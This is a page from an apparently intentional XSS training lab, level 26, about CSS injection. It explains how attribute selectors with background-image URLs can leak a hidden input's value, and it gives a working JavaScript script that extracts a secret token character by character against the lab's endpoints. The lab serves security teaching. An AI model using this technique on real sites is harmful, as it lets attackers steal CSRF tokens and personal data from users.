.diff-easy .badge { background: #0d3320; color: #3fb950; border: 1px solid #238636; } .diff-medium .badge { background: #3d2e00; color: #d29922; border: 1px solid #9e6a03; } .diff-hard .badge { background: #3d1114; color: #f85149; border: 1px solid #da3633; } .diff-expert .badge { background: #2a1541; color: #bc4dff; border: 1px solid #8b3dba; } .level-header h1 { font-size: 1.5rem; color: #e6edf3; margin-bottom: 0.5rem; } .defenses { font-size: 0.85rem; color: #8b949e; margin-bottom: 0.5rem; } .defenses strong { color: #c9d1d9; } .challenge-area { background: #161b22; border: 1px solid #30363d; border-radius: 12px; padding: 1.5rem; margin-bottom: 1.5rem; } form { display: flex; gap: 0.75rem; margin-bottom: 1rem; flex-wrap: wrap; } input[type="text"], textarea { flex: 1; min-width: 250px; padding: 0.6rem 1rem; background: #0d1117; border: 1px solid #30363d; border-radius: 8px; color: #c9d1d9; font-size: 0.9rem; font-family: inherit; } input[type="text"]:focus, textarea:focus { outline: none; border-color: #58a6ff; } button { padding: 0.6rem 1.5rem; background: #238636; border: 1px solid #2ea043; border-radius: 8px; color: #fff; font-size: 0.85rem; font-weight: 600; cursor: pointer; } button:hover { background: #2ea043; } .output { padding: 1rem; background: #0d1117; border: 1px solid #30363d; border-radius: 8px; min-height: 3rem; word-break: break-all; } .hint { margin-top: 1.5rem; } .hint details { background: #161b22; border: 1px solid #30363d; border-radius: 12px; padding: 1rem; } .hint summary { cursor: pointer; color: #d29922; font-weight: 600; font-size: 0.9rem; } .hint p { margin-top: 0.75rem; font-size: 0.85rem; color: #8b949e; line-height: 1.6; } .hint code { background: #21262d; padding: 0.15rem 0.4rem; border-radius: 4px; font-size: 0.8rem; color: #c9d1d9; } .writeup { display: none; margin-top: 1.5rem; background: linear-gradient(135deg, #161b22 0%, #1a1025 100%); border: 1px solid #8b3dba; border-radius: 12px; padding: 1.5rem; } .writeup h2 { font-size: 1.1rem; color: #c084fc; margin-bottom: 1rem; } .writeup h3 { font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.05em; color: #bc4dff; margin-top: 1.25rem; margin-bottom: 0.5rem; } .writeup h3:first-of-type { margin-top: 0; } .writeup p { font-size: 0.85rem; color: #c9d1d9; line-height: 1.7; } .writeup code { background: #21262d; padding: 0.15rem 0.4rem; border-radius: 4px; font-size: 0.8rem; color: #e6edf3; } .success-banner { display: none; position: fixed; top: 0; left: 0; right: 0; padding: 1rem; background: linear-gradient(135deg, #238636, #2ea043); color: #fff; text-align: center; font-weight: 700; font-size: 1.1rem; z-index: 9999; animation: slideDown 0.3s ease; align-items: center; justify-content: center; gap: 1.5rem; } .success-banner a { color: #fff; background: rgba(255,255,255,0.2); padding: 0.35rem 1rem; border-radius: 6px; text-decoration: none; font-size: 0.85rem; font-weight: 600; border: 1px solid rgba(255,255,255,0.3); } .success-banner a:hover { background: rgba(255,255,255,0.3); } @keyframes slideDown { from { transform: translateY(-100%); } to { transform: translateY(0); } }
XSS Triggered! Level 26 Complete! Dashboard Next Level →
Level 26 — Expert

CSS Injection

Defenses: HTML tags (like <script>) and event handlers are stripped. The input is placed directly inside a <style> block.

Your input is placed into a <style> block. Can you steal the secret token without using JavaScript?

CONCEPT: CSS Data Exfiltration

If an attacker can inject arbitrary CSS into a page containing sensitive data (like CSRF tokens or personal info in input values), they can extract that data. By using CSS attribute selectors (e.g., [value^="a"]), they can create rules that only apply if the sensitive data starts with a specific letter. If the rule matches, it loads a background-image from the attacker's server, leaking that character. This process is repeated to extract the full token.

Target:

Steal the value of this hidden input field using CSS:

Note: In a real attack, you would automate this. Use this script in your browser console to automate the extraction:

async function stealSecret() {
  const chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
  let known = 'xss_css_master_'; 
  
  while (true) {
    let found = false;
    for (let c of chars) {
      let guess = known + c;
      let payload = `input[name="secretToken"][value^="${guess}"] { background: url('/api/26/leak?c=${guess}'); }`;
      
      // Send the payload
      await fetch('/xss/level/26?style=' + encodeURIComponent(payload));
      
      // Wait for the background request to trigger if it matched
      await new Promise(r => setTimeout(r, 200)); 
      
      // Check if our guess hit the leak endpoint
      let res = await fetch('/xss/api/26/leak-check');
      let data = await res.json();
      
      if (data.leaked && data.data === guess) {
        known = guess;
        console.log('Found so far:', known);
        found = true;
        break;
      }
    }
    if (!found) break; // Finished
  }
  console.log('Final stolen token:', known);
  if (known.length > 15) alert('Stolen: ' + known);
}
Hint (try on your own first!)

Why It Worked

Key Lesson

Real-World Application